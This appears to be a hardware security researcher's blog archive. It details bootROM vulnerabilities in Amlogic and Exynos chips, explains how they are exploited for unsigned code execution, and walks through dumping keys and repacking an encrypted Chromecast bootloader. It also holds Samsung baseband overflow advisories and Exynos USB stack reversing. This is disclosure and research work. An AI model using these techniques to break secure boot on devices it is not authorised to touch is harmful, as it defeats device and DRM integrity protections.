Nevertheless, this recovery interface can still be useful in some cases, so we repurpose the physical button GPIOAO_10 :

--- sabrina-uboot/board/amlogic/configs/sm1_sabrina_v1.h
+++ sabrina-uboot/board/amlogic/configs/sm1_sabrina_v1.h
@@ -397,9 +396,7 @@
         "upgrade_key=" \
             "if gpio input GPIOAO_10; then " \
                 "echo GPIOAO_10 pressed;" \
-                "if usb start 0; then " \
-                    "run recovery_from_udisk;" \
-                "fi;" \
+                "update 0;" \
             "fi;" \
             "\0"

When the physical button is hold while U-Boot starts, the USB recovery interface is started by executing U-Boot command "update".

U-Boot source tree with these modifications is available on GitHub, as well as building instructions in the README file. A prebuilt image is also available.

Repacking bootloader with custom BL33

Essentially, we just need to replace the original BL33 image with the custom one in the bootloader partition. However in practice, it's a trickier task than it appears. First, the bootloader partition is encrypted (except BL2). Then, its format is proprietary. Last, BL33 image is compressed using LZ4 algorithm.

Ideally, we would write a complete (un)packing tool with encryption/compression support for the bootloader partition. It didn't happen. Instead, we'll hack it quick 'n dirty. The following steps are implemented in script repack_bootloader.sh.

AES decryption

By analyzing the bootROM, we learn that the bootloader partition is encrypted with AES-256-CBC and the key is stored at address 0xFFFE0020. This key can be dumped using the exploitation tool amlogic-usbdl with the memdump_over_usb payload. We can then use OpenSSL to decrypt the bootloader :

$ openssl enc -aes-256-cbc -nopad -d -K 0000000000000000000000000000000000000000000000000000000000000000 -iv 00000000000000000000000000000000 -in bootloader.enc -out bootloader.img

LZ4 compression

We compress our custom BL33 image using the official tool aml_encrypt_g12a provided by Khadas.

$ aml_encrypt_g12a --bl3sig --input u-boot.bin --compress lz4 --output u-boot.enc --level v3 --type bl33

dd editing

Compressed BL33 image starts with a magic value LZ4C. Thanks to this marker, we can identify the BL33 image offset in the bootloader partition, and simply overwrite it with our custom, compressed BL33 u-boot.enc :

$ IN_OFFSET=`grep --byte-offset --only-matching --text LZ4C u-boot.enc | head -1 | cut -d: -f1`
$ OUT_OFFSET=`grep --byte-offset --only-matching --text LZ4C bootloader.img | head -1 | cut -d: -f1`
$ dd if=u-boot.enc of=bootloader.img skip=$IN_OFFSET seek=$OUT_OFFSET bs=1 conv=notrunc

AES encryption

Finally, the modified bootloader image is encrypted back using OpenSSL again.

Preparing bootable USB flash drive

With our customized bootchain ready to boot from USB, it's time to prepare the OS on an USB flash drive.

First, we write a preinstalled image of Ubuntu for ARM64 on the USB flash drive :

$ dd if=ubuntu-20.10-preinstalled-desktop-arm64+raspi.img of=/dev/<device> bs=1M

Then, we add few files in boot partition :

s905_autoscript : compiled boot script (source)
env.txt : additional U-Boot environment variables
dtb.img : Device Tree Blob for CCwGTV (source)
uInitrd : original ramdisk from Ubuntu (repacked for U-Boot)
zImage : Linux kernel image for CCwGTV (source)

Precompiled files and detailed instructions are available on GitHub.

Booting Ubuntu from USB

We can finally boot Ubuntu from the USB flash drive by following these steps :

Connect target to host via USB to exploit bootROM and run modified BL2
Send over USB the custom bootloader image (which includes the custom U-Boot image)
Connect USB flash drive that contains boot script, kernel image and the rest of the OS.

Since CCwGTV only offers a single USB-C port, we also need an USB-C adapter that splits power and data, so we can connect simultaneously a power source and an USB device.

Detailed instructions are available in the README file on GitHub, along with all the resources (bootloaders/tools/scripts).

Conclusion

Due to a bootROM vulnerability, the entire software stack of CCwGTV can be replaced. This means booting an alternative OS like Ubuntu is theoretically possible. But in practice, replacing proprietary software components (like bootloaders or TEE) requires significant engineering efforts, especially without debugging capabilities.

Instead, we preferred to reuse as many original software components as possible, which we minimally modified to boot a custom OS.

As explained in the previous blog post, the vulnerability has since been mitigated with a software update. It doesn't fix the bug, as bootROM is read-only. But, luckily, the SoC allows OEMs to restrict access to the USB download mode by burning eFuses. This software update burns eFuses to make the vulnerable code inaccessible to attackers.

However, once in possession of a vulnerable device (unpatched eFuses), attackers can modify software updates before applying them to neutralize the eFuse patch. Therefore, they can run an official up-to-date OS while keeping the vulnerable USB download mode accessible for exploitation.

This issue is serious for devices like CCwGTV that are supposed to guarantee a Trusted Execution Environment for DRM. Once root-of-trust has been compromised, restoring it is a difficult challenge for OEMs.

amlogic-usbdl : unsigned code loader for Amlogic BootROM

2021-02-10T00:00:00-08:00

In previous posts, we explained how to reverse the USB stack in the Exynos bootROM, which led to the discovery of a critical bug. After reproducing this methodology on Amlogic bootROM recently dumped, a similar vulnerability has been discovered in the USB stack that can be exploited to run arbitrary code.

The following targets are known to be vulnerable :

Khadas VIM3L (S905D3) (Secure boot is disabled anyway)
Chromecast with Google TV (S905D3G)

The difference between S905D3 & S905D3G is not clear at this moment; it may be related to the gold certification this component received for Premium Content processing.

amlogic-usbdl, an open source tool available on Github, exploits this vulnerability to load and run unsigned code.

Vulnerability details

USB Download protocol

Amlogic BootROM implements a custom USB protocol that allows USB host to execute a set of commands on target device i.e. read/write memory, run code, read/write registers. A common use-case for this protocol is to upload a bootloader and run it. On Secure Boot-enabled devices like Chromecast, a signature check is performed first before executing any uploaded code.

Among these commands, USB host can use AM_REQ_WR_LARGE_MEM to upload data into device memory.

First, USB host sends an USB CONTROL transfer with some infos regarding the payload :

URB setup
    bmRequestType: 0x40 : Direction: Host-to-device - Type: Vendor (0x2) - Recipient: Device (0x00)
    bRequest: 17 (0x11) : Write memory command AM_REQ_WR_LARGE_MEM
    wValue: 0x1000      : size of each BULK transfer
    wIndex: 16 (0x0010) : count of BULK transfers
    wLength: 16         : size of data in this CONTROL transfer
    Data Fragment: 0000faff000010000000000000000000

The data fragment follows the following structure :

struct dldata_s {
    u_int32_t addr; // address where to write payload i.e. 0xfffa0000
    u_int32_t size; // payload size i.e. 0x00010000
    u_int32_t unk0; // unused
    u_int32_t unk1; // unused
} dldata;

Parameters addr & size specify where in device memory data should be written. BootROM checks these parameters to ensure that uploaded data will fit into the download buffer [0xfffa0000-0xfffaffff] (0x10000 bytes maximum).

Then, the payload is uploaded by simply sending wIndex BULK transfers of size wValue each.

Unfortunate bugs conjunction

Although the overall logic of command AM_REQ_WR_LARGE_MEM looks simple and fine, there're still few peculiar details : size of uploaded data is defined in two different ways:

dldata.size : exact size of uploaded data
wValue * wIndex : size of each BULK transfer multiplied by the count of BULK transfers

While the first one dldata.size is checked, the second one isn't : size of each BULK transfer wValue is maxed out at 0x1000, but the count of BULK transfers wIndex is not checked.

As a consequence, an attacker can submit more BULK transfers than required to fill the download buffer. However, the BULK transfer handler tracks the total size of received data to ensure not exceeding the expected size dldata.size. So an invalid wIndex value is not sufficient to overflow the download buffer.

Nevertheless, a second bug makes exploitation trivial : after each BULK transfer, the download buffer pointer (initially set to 0xfffa0000) is incremented by the expected transfer size wValue, regardless of the actual size of data received.

So it's time to reuse that empty transfer trick we already used in the Exynos bootROM exploit. By sending empty BULK transfers, an attacker can manipulate the download buffer pointer to reach critical bootROM structures, like stack memory (below 0xfffe3800). For example, if the attacker sends 0x43 empty transfers, with wValue = 0x1000 : (0xfffa0000 + (0x1000 * 0x43) = 0xfffe3000, which is stack bottom address.

Once download buffer pointer has been manipulated, a last, non-empty BULK transfer is sent to overwrite memory.

Ultimately, these bugs lead to arbitrary code execution at bootROM level, even before the data signature check takes place.

Conclusion

USB download feature in Amlogic bootROM only runs signed bootloader images (when Secure Boot is enabled). However, few bugs in the USB stack allow an attacker with physical access to corrupt bootROM RAM. Ultimately, an attacker can execute arbitrary code in Secure World, at very early boot stage.

Despite these bugs, the overall code is quite robust for a BL1-kind software. It implements several hardening techniques :

time-constant memory compare : to resist timing attacks ?
complex return codes (i.e. success code is 0xa8df61e7 instead of one or zero) : to resist bit-flip attacks ?
random execution delays : to resist glitching attacks ?
mysterious recurrent hash check that immediately reboots if failed : control flow integrity ?

Amlogic bootROM also supports a password protection. This can be used to restrict access to the USB download feature, and thus mitigate this vulnerability.

Timeline

2020-10-19 Bug discovery
2020-10 Vulnerability disclosed to Google
~~2020-11-05 Google shared the report with Amlogic~~
2020-12 Password mitigation enabled in factory for new Chromecast devices
2021-02-08 Password mitigation enabled by software update for Chromecast devices
2021-02-10 Public disclosure
2021-02-12 CVE-2021-0467 assigned to this issue
2021-02-15 Google retracts the date they communicated with Amlogic
2021-05-01 Vulnerability rated Critical in the Android Security Bulletin—May 2021

Dump Amlogic S905D3 BootROM from Khadas VIM3L board

2021-02-09T00:00:00-08:00

This post describes how to dump bootROM from Amlogic S905D3 SoC using Khadas VIM3L board. Since this board doesn't use Secure Boot, we can execute custom code in Secure World (a.k.a TrustZone) without exploiting any vulnerability. In addition, the board exposes an UART connector, which is convenient for communicating with baremetal code running on target.

Ressources

The following resources were abused to complete this project :

VIM3L board : SBC based on Amlogic S905D3 System-On-Chip.
USB to TTL Converter : to enable communication between host and target using UART port.
S905D3 SoC datasheet : Khadas published a datasheet for S905D3. It contains a memory map, including the bootROM address.
khadas-uboot : U-Boot code released by Khadas contains a signing tool to package a bootloader image.
khadas-utils : Khadas released a tool to communicate with the bootROM via USB.

Procedure

In order to dump the bootROM, we need to execute custom code in Secure World.

On most firmwares provided by Khadas, U-Boot shell is accessible via UART port. However, U-Boot runs in Non-Secure World (a.k.a. Normal World) and therefore isn't helpful.

Instead, we need to execute our code earlier in the boot chain. Since Secure Boot is disabled on this board, we could modify the BL2 bootloader stored in flash memory. However, there's a more convienent solution : the bootROM implements a feature to load BL2 bootloader via the USB Type-C port. This in-RAM solution has the advantage of not altering the flash memory.

Finally, we also take advantage of the UART port to transfer data to our host.

Code

The code to dump the bootROM is straightforward : each byte is read then sent to UART port.

The datasheet published by Khadas indicates that bootROM memory is at address [0xFFFF0000-0xFFFFFFFF] (region named a53_rom). To send data to UART port, we reuse open-source code from U-Boot.

Early tests revealed an issue : UART data transfers would stop inconsistently before completion, and the board would then reset. This issue was caused by a watchdog timeout. U-Boot source repository contains the code to reset the watchdog, which solves that issue.

Build

The code is built using GNU C cross-compiler for the arm64 architecture (packages gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu on Debian) :

$ aarch64-linux-gnu-gcc -O3 -nostdlib -Wl,--build-id=none -o S905D3_dump_bootrom.elf S905D3_dump_bootrom.c
$ aarch64-linux-gnu-objcopy -O binary -j .text S905D3_dump_bootrom.elf S905D3_dump_bootrom.bin

Then, the binary is packaged as regular BL2 image for this target using the aml_encrypt_g12a tool from khadas-uboot repository:

$ ./khadas-uboot/fip/g12a/aml_encrypt_g12a --bl2sig --input ./S905D3_dump_bootrom.bin --output ./S905D3_dump_bootrom.img

Connect

Khadas documentation explains how to connect UART port on VIM3L board. On host side, we use minicom software to communicate with this port :

$ sudo minicom -D /dev/ttyUSB0

Then, we boot the board in USB Upgrade mode (a.k.a. TST mode or USB Download mode) as explained in Khadas documentation. In minicom console, we can see :

SM1:BL:511f6b:81ca2f;FEAT:A0F83180:20282000;POC:D;RCY:0;USB:0;

This string ending with USB:0; means the board has started in USB Upgrade mode.

On the host side, we see a new USB device :

[10504.840173] usb 1-4.3.1: new high-speed USB device number 16 using xhci_hcd
[10504.979469] usb 1-4.3.1: New USB device found, idVendor=1b8e, idProduct=c003, bcdDevice= 0.20
[10504.979495] usb 1-4.3.1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[10504.979514] usb 1-4.3.1: Product: GX-CHIP
[10504.979525] usb 1-4.3.1: Manufacturer: Amlogic

In minicom, we use the capture feature (CTRL-A L) to save data sent by our program into a file minicom.cap.

Run

Our code is uploaded and run on the board using the update tool from khadas-utils repository.

$ ./khadas-utils/aml-flash-tool/tools/linux-x86/update write ./S905D3_dump_bootrom.img 0xfffa0000
..
Transfer Complete! total size is 65536 Bytes

$ ./khadas-utils/aml-flash-tool/tools/linux-x86/update run 0xfffa0000
[update]Run at Addr fffa0000
AmlUsbRunBinCode:ram_addr=fffa0000

In minicom console, we received the bootROM dump sent by our code :

e0031faae1031faae2031faae3031faae4031faae5031faae6031faae7031faae8031fa
ae9031faaea031faaeb031faaec031faaed031faaee031faaef031faaf0031faaf1031f
aaf2031faaf3031faaf4031faaf5031faaf6031faaf7031faaf8031faaf9031faafa031
[...]

Since the dump is encoded in hexadecimal representation, the last step is to convert it back to binary :

$ cat minicom.cap | xxd -r -p > VIM3L.bootrom.bin

$ sha1sum VIM3L.bootrom.bin
5de02d2958d4d7214b28521239ec9b63fe9a2dbe  VIM3L.bootrom.bin

$ wc -c VIM3L.bootrom.bin
65536   VIM3L.bootrom.bin

$ strings -13 VIM3L.bootrom.bin
auth failed, reboot...
511f6b60cfd40c6
ken.amlogic.com
03/26/19_12:20:42
gcc version 4.8
511f6b60cfd40c6
INDXCHIPOPS_ROMVfb_e1
FAILkey error
FAILkey len error
FAILmissing var
max-download-size
FAILmissing var!
FAILUnkonw chipinfo id
FAILVariable not implemented
FAILdata invalid size
FAILdata too large
FAILkey_len error
FAILunknow command
New World Cup
usb_dnl_fastboot

The strings in the bootROM dump reveal that Fastboot protocol is implemented (different protocol than the one we just used to upload our code).

SVE-2019-13963 : Remote stack overflow in Samsung baseband caused by malformed IMMEDIATE ASSIGNMENT message

2020-12-07T00:00:00-07:00

Description

When Samsung Shannon baseband receives message IMMEDIATE ASSIGNMENT (9.1.18 in GSM/04.08) from network, the length of the Mobile Allocation IE (GSM/04.08 10.5.2.21) is not properly checked.

Mobile allocation data is directly copied to a buffer on the stack without checking its size. This stack overflow can lead to remote arbitrary code execution in the Shannon modem.

CVSS Version 3 Metrics

Attack Vector (AV): Adjacent (A)
Attack Complexity (AC): Low (L)
Privileges Required (PR): None (N)
User Interaction (UI): None (N)
Overall CVSS Score: 8.8

Affected Versions

Samsung smartphones based on Android N(7.x), O(8.x), Go(8.1), P(9.0), Go(9.0) with Exynos chipsets.

Solution

Samsung security update of April 2019 fixes this vulnerability.

Timeline

2019-02-05 Privately reported to Samsung
2019-04-02 Bug fixed in Samsung Bulletin SMR-APR-2019

Remote stack overflow in Samsung baseband caused by malformed GMM ATTACH ACCEPT message

2020-11-30T00:00:00-07:00

Description

When Samsung Shannon baseband receives message GMM ATTACH ACCEPT (9.4.2 in TS 24.008) from network, the minimum length for MS Identity IE (10.5.1.4) is not properly checked.

MS Identity (IEI 0x23) length is decremented without prior check. If this value is zero, a short integer underflow occurs. This invalid size is then used to copy received MS Identity data to a stack buffer. This stack overflow can lead to remote arbitrary code execution in the Shannon modem.

CVSS Version 3 Metrics

Attack Vector (AV): Adjacent (A)
Attack Complexity (AC): Low (L)
Privileges Required (PR): None (N)
User Interaction (UI): None (N)
Overall CVSS Score: 8.8

Affected Versions

Discovered in Shannon baseband of Galaxy S8 (SM-G950FD), it may affect other models based on Exynos chipsets.

Solution

Samsung security update of December 2018 fixes this vulnerability.

Timeline

2018-12-04 Bug fixed in Samsung security update SMR-DEC-2018
2019-05-25 Bug discovered in old firmware
2019-05-28 Bug fix discovered in latest firmware
2019-05-28 Bug hunting procedures reconsidered

Remote stack overflow in Samsung baseband caused by malformed P-TMSI REALLOCATION COMMAND

2020-11-23T00:00:00-07:00

Description

When Samsung Shannon baseband receives message P-TMSI REALLOCATION COMMAND (9.4.7 in TS 24.008) from network, the length of the Mobile Identity IE (10.5.1.4) is not properly checked.

Mobile identity data is directly copied to a stack buffer without prior size check. This stack overflow can lead to remote code execution in the Shannon modem.

CVSS Version 3 Metrics

Attack Vector (AV): Adjacent (A)
Attack Complexity (AC): Low (L)
Privileges Required (PR): None (N)
User Interaction (UI): None (N)
Overall CVSS Score: 8.8

Affected Versions

Discovered in Shannon baseband of Galaxy S8 (SM-G950FD), it may affect other models based on Exynos chipsets.

Solution

Samsung security update of December 2018 fixes this vulnerability.

Timeline

2018-11-19 Working proof-of-concept
2018-12-04 Bug fixed in Samsung security update SMR-DEC-2018
2018-12-05 Reconsider life choices

exynos-usbdl : unsigned code loader for Exynos BootROM

2020-06-17T00:00:00-07:00

In previous posts, we explained how to dump Exynos bootROM and reverse its USB stack.

These efforts led to the discovery of a bug in the USB stack that can be exploited to run arbitrary code.

The following chipsets are known to be affected by this bug :

Exynos 8890
Exynos 8895

exynos-usbdl, an open source tool available on Github, exploits this vulnerability to load and run unsigned code.

Vulnerability details

Exynos BootROM implements a very simple USB protocol to receive a bootloader binary from an USB host. That binary is encapsulated in a small structure dldata, and sent through USB bulk transfers.

typedef struct dldata_s {
    u_int32_t unknown0;
    u_int32_t size;// header(8) + data(n) + footer(2)
    u_int8_t  data[n];//example data of size 'n'
    u_int16_t unknown1;//footer
} dldata;

Integer overflow bug

BootROM writes received data into buffer dl_buf at address [0x02021800..0x02070000] (0x4E800 bytes). But first, a check ensures that transferred data won't overflow dl_buf buffer :

if (dl_buf + dldata.size >= 0x02070000) {
    usb_download_status = 0x02;//error
}

However, this check on 32 bits is vulnerable to an integer overflow if dldata.size is higher than 0xFDFDE7FF (dl_buf + 0xFDFDE800 ≡ 0x0 mod 2³²).

So the bootROM accepts a payload of regular size [0x10..0x4E800] bytes (don't go below if you want to avoid integer underflows...), but due to that bug, also accepts a payload of [0xFDFDE800..0xFFFFFFFF] bytes.

Empty transfer trick

The integer overflow bug allows us to bypass the size check to send a very large payload to the bootROM. Such contiguous memory overflow may corrupt memory after dl_buf buffer, but the memory layout will cause the target to crash before any interesting (from attacker's point of view) memory corruption happens.

First, because dl_buf is located at the end of the in-use memory (after stack area, for example), so there's no bootROM runtime data to corrupt. But also because accessing inexistent memory regions will cause a crash.

Nevertheless, there's a trick to overcome that limitation. A large download is expected to be splitted into multiple small transfers of equal size (0xfffe00 bytes), except the last transfer which can be smaller.

Each of these transfers triggers the USB transfer handler of the bootROM. This handler appends received data to the destination buffer dl_buf. We would expect that dl_buf pointer is then incremented by the size that has been appended. But instead, destination pointer dl_buf is incremented by the expected transfer size (0xfffe00 bytes). So, by sending empty transfers (transfer without data), we can increment the destination pointer dl_buf without actually writing any data, thus not risking any invalid memory access.

With this technique, we can easily increase dl_buf pointer to reach an address convenient for exploitation.

Finally, the last transfer (non-empty this time) is used to corrupt memory pointed by manipulated address dl_buf.

In summary, we can write 512 bytes (or less) of arbitrary data in memory range [0x0..0x020217FF], at an arbitrary offset. In this memory range, multiple data structures can be overwritten to achieve arbitrary code execution: function pointers, stack region, etc...

Conclusion

The USB boot feature in the Exynos bootROM only runs signed bootloader images (when Secure Boot is enabled). However a pre-auth integer overflow bug allows an attacker with physical access to corrupt bootROM RAM. So the attacker can execute arbitrary code in Secure World, at very early boot stage.

Timeline

2020-02-12 Bug discovery
2020-**-** Proof-of-concept development
2020-05-06 Vulnerability disclosed to Samsung
2020-06-10 Report dismissed as duplicate

Reverse engineer USB stack of Exynos BootROM

2020-06-16T00:00:00-07:00

In the previous post, we explained how to dump Exynos bootROM.

Exynos (8895 in this post) bootROM contains a minimal USB stack to load a signed bootloader from an USB host (a.k.a. boot from USB). This post summarizes how this USB stack can be reversed using the Great Tool Ghidra and Linux kernel source code.

The goal is to locate and analyze the proprietary USB protocol used to load the bootloader in RAM.

SoC level

Device Tree Source files in Linux kernel provide a detailed description (like physical address and size) of Exynos SoC peripherals, including the USB controller. In file arch/arm64/boot/dts/exynos/exynos8895.dtsi, we learn that the USB controller is mapped at 0x10C00000 (also known as base address):

Ghidra Memory Map feature allows us to create a memory block that represents this USB peripheral :

Don't forget to click Analysis>Auto Analyze to update cross references to our new memory block.

Peripheral level

The Linux kernel also contains a list of registers and their offset to interact with the USB controller :

Register offsets are relative to the base address mentioned earlier. Based on this list, we can rename each USB register referenced from the bootROM code (Navigation->Next Data) :

Adding names will help us to understand the purpose of functions that access these registers.

Driver level

BootROM functions that access USB registers directly are dedicated to USB operations. They are similar to the Linux USB driver code, but simplified since bootROM is bare metal code, without interrupt handlers, threads or even dynamic memory allocation.

Despite the lack of public documentation, we can study the Linux USB driver code to understand the purpose of most important USB registers.

With a better understanding of these registers, we can now infer the purpose of bootROM functions based on read/write operations they perform on these registers. In some cases, bootROM and Linux USB driver functions have such similar access patterns (to USB registers) that they can be quickly identified by comparison.

USB enumeration and configurration

Per USB specifications, when a new device is attached, USB host assigns it an unique address by sending the Standard Device Request USB_REQ_SET_ADDRESS. Device must then set its assigned address by writing it to register DWC3_DCFG. And thanks to the Linux USB driver, we even know that device address is a 7-bit value at offset 3 in this register.

By looking at references to DWC3_DCFG in Ghidra, we can locate bootROM functions that access this register :

Among these functions, only write_DWC3_DCFG_DEVADDR sets device address in DWC3_DCFG register :

void write_DWC3_DCFG_DEVADDR(uint devaddr) {
  uint uVar1;

  uVar1 = cRead_4(DWC3_DCFG);
  cWrite_4(DWC3_DCFG,uVar1 & 0xfffffc00 | uVar1 & 7 | (devaddr & 0x7f) << 3);// DWC3_DCFG[3:7] : device address
  return;
}

By exploring incoming function calls to write_DWC3_DCFG_DEVADDR, we can easily locate the function that handles all incoming Standard Device Requests :

void usb_handle_standard_device_request(longlong param_1,uint *param_2)

{
  //[...]
  bRequest = *(char *)(param_1 + 1);
  if (bRequest == USB_REQ_SET_ADDRESS) {
    write_DWC3_DCFG_DEVADDR((ulonglong)*(byte *)(param_1 + 2));//set device address assigned by USB host
    *(undefined4 *)(puVar3 + 0x30) = 2;
    *param_2 = 0;
    return;
  }
  if (bRequest == USB_REQ_GET_DESCRIPTOR) {
    descriptorType = *(char *)(param_1 + 3);
    if (descriptorType == USB_DT_DEVICE) {
      usb_init_device_descriptor(sUSBBuffers_ptr[1].event_buffer + 0x70);
      if (0x12 < *param_2) {
        *param_2 = 0x12;
      }
    }
    else {
      if (descriptorType == USB_DT_CONFIG) {
        puVar2 = USBBuffers_ptr + 1;
        usb_init_descriptors(puVar2->event_buffer + 0x70);
  //[...]
}

Among all Standard Device Requests sent during USB enumeration phase, USB_REQ_GET_DESCRIPTOR is another interesting one.

USB descriptors are sent to USB host in order to describe device, interface & endpoints implemented by the device. These structures are part of the USB standard, so we can simply import structure definitions (struct USB_DESCRIPTORS & USB_DEVICE_DESCRIPTOR) from Linux kernel in Ghidra (File->Parse C source...) :

void usb_init_device_descriptor(USB_DEVICE_DESCRIPTOR *param_1) {
  param_1->bLength = 0x12;
  param_1->bDescriptorType = 1; // USB_DT_DEVICE
  param_1->bcdUSBL = 0;
  param_1->bcdUSBH = 2;
  param_1->bDeviceClass = 0;
  param_1->bDeviceSubClass = 0;
  param_1->bDeviceProtocol = 0;
  param_1->bMaxPacketSize0 = (byte)DAT_02021544;
  param_1->idVendorL = 0xe8;
  param_1->idVendorH = 4; // VENDOR ID 0x04E8
  param_1->idProductL = 0x34;
  param_1->idProductH = 0x12; //PRODUCT ID 0x1234
  param_1->bcdDeviceL = 0;
  param_1->bcdDeviceH = 1;
  param_1->iManufacturer = 1;
  param_1->iProduct = 2;
  param_1->iSerialNumber = 3;
  param_1->bNumConfigurations = 1;
  return;
}

void usb_init_descriptors(USB_DESCRIPTORS *param_1) {
  byte bVar1;
  byte bVar2;
  undefined4 uVar3;

  uVar3 = DAT_02021548;
  (param_1->oDescConfig).bLength = 9;
  (param_1->oDescConfig).bDescriptorType = 2; // USB_DT_CONFIG
  (param_1->oDescConfig).wTotalLengthL = 0x20;
  (param_1->oDescConfig).wTotalLengthH = 0;
  (param_1->oDescConfig).bNumInterfaces = 1;
  (param_1->oDescConfig).bConfigurationValue = 1;
  (param_1->oDescConfig).iConfiguration = 0;
  (param_1->oDescConfig).bmAttributes = 0x80;
  (param_1->oDescConfig).maxPower = 0xfa;
  (param_1->oDescInterface).bLength = 9;
  (param_1->oDescInterface).bDescriptorType = 4; // USB_DT_INTERFACE
  (param_1->oDescInterface).bInterfaceNumber = 0;
  (param_1->oDescInterface).bAlternateSetting = 0;
  (param_1->oDescInterface).bNumEndpoints = 2;
  (param_1->oDescInterface).bInterfaceClass = 0xff; // USB_CLASS_VENDOR_SPEC
  (param_1->oDescInterface).bInterfaceSubClass = 0;
  (param_1->oDescInterface).bInterfaceProtocol = 0;
  (param_1->oDescInterface).iInterface = 4;
  (param_1->oDescEp0).bLength = 7;
  (param_1->oDescEp0).bDescriptorType = 5; // USB_DT_ENDPOINT
  (param_1->oDescEp0).bEndpointAddress = 0x81; // USB_DIR_IN | 1 : endpoint 1, direction IN
  (param_1->oDescEp0).bmAttributes = 2; // USB_ENDPOINT_XFER_BULK
  bVar1 = (byte)uVar3;
  (param_1->oDescEp0).wMaxPacketSizeL = bVar1;
  bVar2 = (byte)((uint)uVar3 >> 8);
  (param_1->oDescEp0).wMaxPacketSizeH = bVar2;
  (param_1->oDescEp0).bInterval = 0;
  (param_1->oDescEp1).bLength = 7;
  (param_1->oDescEp1).bDescriptorType = 5; // USB_DT_ENDPOINT
  (param_1->oDescEp1).bEndpointAddress = 2; // USB_DIR_OUT | 2 : endpoint 2, direction OUT
  (param_1->oDescEp1).bmAttributes = 2; // USB_ENDPOINT_XFER_BULK
  (param_1->oDescEp1).wMaxPacketSizeL = bVar1;
  (param_1->oDescEp1).wMaxPacketSizeH = bVar2;
  (param_1->oDescEp1).bInterval = 0;
  return;
}

Among the important details in these descriptors, we can learn that this code implements :

1 device : vendor ID = 0x04E8, product ID = 0x1234.
1 interface of vendor-specific class, which means protocol is likely proprietary.
2 bulk endpoints : endpoint 1 for BULK IN transfers, endpoint 2 for BULK OUT transfers.

Event buffer setup

During USB initialization, USB driver allocates a buffer called event buffer and informs USB controller by writing its address and size into registers DWC3_GEVNTADRLO, DWC3_GEVNTADRHI, DWC3_GEVNTSIZ. Once setup, USB controller can write events intended for USB driver into this shared buffer.

In Linux kernel, these registers are accessed by a single function dwc3_event_buffers_setup, called once during USB driver initialization. In bootROM code, event buffer is setup in the same way :

void usb_setup_event_buffer(dword bufferHigh,dword bufferLow,ushort bufferSize) {
  uint local_14;
  uint uVar1;

  cWrite_4(DWC3_GEVNTADRHI,bufferHigh);
  cWrite_4(DWC3_GEVNTADRLO,bufferLow);
  uVar1 = cRead_4(DWC3_GEVNTSIZ);
  local_14 = uVar1 & 0xffff0000 | (uint)bufferSize;
  cWrite_4(DWC3_GEVNTSIZ,local_14);
  return;
}

Events written to this buffer are 32-bit values with different structures depending on their type : either device or endpoint event. These structures, defined in the Linux kernel, can be imported into Ghidra to facilitate the reversing process.

struct dwc3_event_depevt {// Device Endpoint Events
    u32 one_bit:1;// not used
    u32 endpoint_number:5;// number of the endpoint
    u32 endpoint_event:4;// event type
    u32 reserved11_10:2;
    u32 status:4;// Indicates the status of the event
    u32 parameters:16;// Parameters of the current event
} __packed;

struct dwc3_event_devt {// Device Events
    u32 is_devspec:1;// indicates this is a non-endpoint event (device-specific)
    u32 device_event:7;// indicates it's a device event
    u32 type:4;// type of device event
    u32 reserved15_12:4;
    u32 event_info:9;// Information about this event
    u32 reserved31_25:7;
} __packed;

USB events count

Register DWC3_GEVNTCOUNT (updated by USB controller) contains the count of events pending in event buffer. BootROM code implements a simple function (named read_DWC3_GEVNTCOUNT here) to read this register :

uint read_DWC3_GEVNTCOUNT(void) {
  uint eventCnt;

  eventCnt = cRead_4(DWC3_GEVNTCOUNT);
  return (uint)(int)(short)(eventCnt >> 2);
}

Again, we located that function by looking at references to DWC3_GEVNTCOUNT register.

USB event handler

By inspecting incoming function calls in Ghidra, we can now easily locate the main function that processes USB events :

void usb_event_handler(void) {
  dwc3_event evt;
  uint evtCnt;

  evtCnt = read_DWC3_GEVNTCOUNT();//read pending events count from DWC3_GEVNTCOUNT register
  if (evtCnt != 0) {
    while (0 < evtCnt) { // loop while pending events available
      evt = *(USBBuffers_ptr->event_buffer + usbEventIdx * 4); // read event from event buffer
      if (evt != 0) {
        if ((evt & 1) == 0) {// evt.is_devspec == 0 : event is endpoint-specific
          epNum = evt >> 1 & 0x1f;// extract endpoint_number from event
          if (epNum < 2) {// endpoint 0 (bit 0 of endpoint_number is direction: 0=>OUT, 1=>IN)
            usb_handle_ep0_event(&evt);
          }
          else {//other endpoints
            usb_handle_ep_event((ulonglong)(epNum >> 1),(ulonglong)(evt >> 6 & 0xf));
          }
        }
        else {// evt.is_devspec == 1 : event is device-specific
          if ((evt & 0xfe) == 0) {
            usb_handle_device_event(&evt);
          }
        }
      }
      usbEventIdx = usbEventIdx + 1 & 0x1f;
      write_DWC3_GEVNTCOUNT(1);
      evtCnt--;
    }
  }
  return;
}

Instead of relying on interrupts like in Linux driver, this handler implements a polling loop to check for new events in event buffer. Then, events are dispatched to three different functions depending on their type :

usb_handle_device_event : device-level events like (dis)connect USB cable, reset, link status change,...
usb_handle_ep0_event : default control endpoint 0 to enumerate & configure device
usb_handle_ep_event : dispatch events related to other endpoints, including bulk endpoints

The latter usb_handle_ep_event is the one we're interested in, because it handles data received from USB host (i.e. bootloader image). In this function, a dispatch table calls a handler specific to each endpoint number. The only implemented handler in this table is for endpoint 2. Based on configuration descriptors detailed above, we can confirm that endpoint 2 is for BULK OUT (host to device) transfers.

Transfer Request Blocks

Events described in the previous sections are only 32-bit values, they don't contain payload data. Actual data transfers are setup using Transfer Request Blocks (TRB)

A TRB is a structure that directs the USB controller where to write (or read, depending on endpoint direction) data for the next transfer on a specific endpoint. The buffer has to be DMA coherent memory directly accessible by both main CPU and USB controller.

/** struct dwc3_trb - transfer request block (hw format) */
struct dwc3_trb {
    u32     bpl;// buffer pointer (low)
    u32     bph;// buffer pointer (high)
    u32     size;// buffer len
    u32     ctrl;// control bitfield
};

Linux driver function dwc3_ep0_start_trans is a good example of how to initiate a data transfer using a TRB :

static int dwc3_ep0_start_trans(struct dwc3 *dwc, u8 epnum, dma_addr_t buf_dma, u32 len, u32 type)
{
    struct dwc3_gadget_ep_cmd_params params;
    struct dwc3_trb         *trb;
    struct dwc3_ep          *dep;

    dep = dwc->eps[epnum];

    trb = dwc->ep0_trb;

    trb->bpl = lower_32_bits(buf_dma);
    trb->bph = upper_32_bits(buf_dma);
    trb->size = len;
    trb->ctrl = type;

[...]

    memset(&params, 0, sizeof(params));
    params.param0 = upper_32_bits(dwc->ep0_trb_addr);
